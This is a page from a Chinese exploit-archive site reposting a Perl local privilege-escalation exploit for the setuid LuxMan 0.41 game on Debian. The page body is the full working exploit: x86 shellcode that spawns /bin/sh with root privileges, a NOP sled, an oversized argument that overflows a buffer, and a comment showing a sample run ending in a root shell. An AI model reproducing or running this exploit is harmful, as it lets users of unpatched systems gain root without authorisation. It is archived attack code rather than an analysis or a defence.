首页    新闻    下载    文档    论坛     最新漏洞    黑客教程    数据库    搜索    小榕软件实验室怀旧版    星际争霸WEB版    最新IP准确查询   
名称: 密码:      忘记密码  马上注册
0day :: oday

Frank McIngvale LuxMan 0.41 Local Buffer Overflow Exploit


http://www.gipsky.com/
#!/usr/bin/perl -w

#

# luxman exploit

#

# ii luxman 0.41-19.1 Pac-Man clone (svgalib based)

#

# Tested with "security compat" set in /etc/vga/libvga.config on debian unstable 3.1

#

# kfinisterre@jdam:~$ ./luxman_ex.pl

# LuxMan v0.41, Copyright (c) 1995 Frank McIngvale

# LuxMan comes with ABSOLUTELY NO WARRANTY; see COPYING for details.

#

# You must be the owner of the current console to use svgalib.

# Not running in a graphics capable console,

# and unable to find one.

# Using SIS driver, 2048KB. Chiptype=8

# svgalib 1.4.3

# You must be the owner of the current console to use svgalib.

# Not running in a graphics capable console,

# and unable to find one.

# svgalib: Failed to initialize mouse.

#

# The frame rate is now set to 1 frames per second.

# If the game seems too fast, too slow, or too jerky,

# you can adjust this value the `-r' option.

#

# Calibrating delay...-664257

# Sound server started [pid:7082]

# sh-2.05b# id

# uid=0(root) gid=1000(kfinisterre) groups=1000(kfinisterre)

#



($offset) = @ARGV,$offset || ($offset = 0);



$sc = "\x90"x512;

$sc .= "\x31\xd2\x31\xc9\x31\xdb\x31\xc0\xb0\xa4\xcd\x80";

$sc .= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b";

$sc .= "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd";

$sc .= "\x80\xe8\xdc\xff\xff\xff/bin/sh";



$ENV{"FOO"} = $sc;



$buf = "A" x 8732;

$buf .= (pack("l",(0xbfffffff-512 $offset)) x2);



#exec("strace -u kfinisterre /usr/games/luxman -r 1 -f $buf");

exec("/usr/games/luxman -r 1 -f $buf");

[2005-03-14]
<< PaX Double-Mirrored VMA munmap Local Root Exploit Ethereal <= 0.10.9 "3G-A11" Remote Buffer Overflow Exploit >>
API:
gipsky.com & 安信网络

系统导航

 

Copyright © 2001-2010 安信网络. All Rights Reserved
京ICP备14013333号-8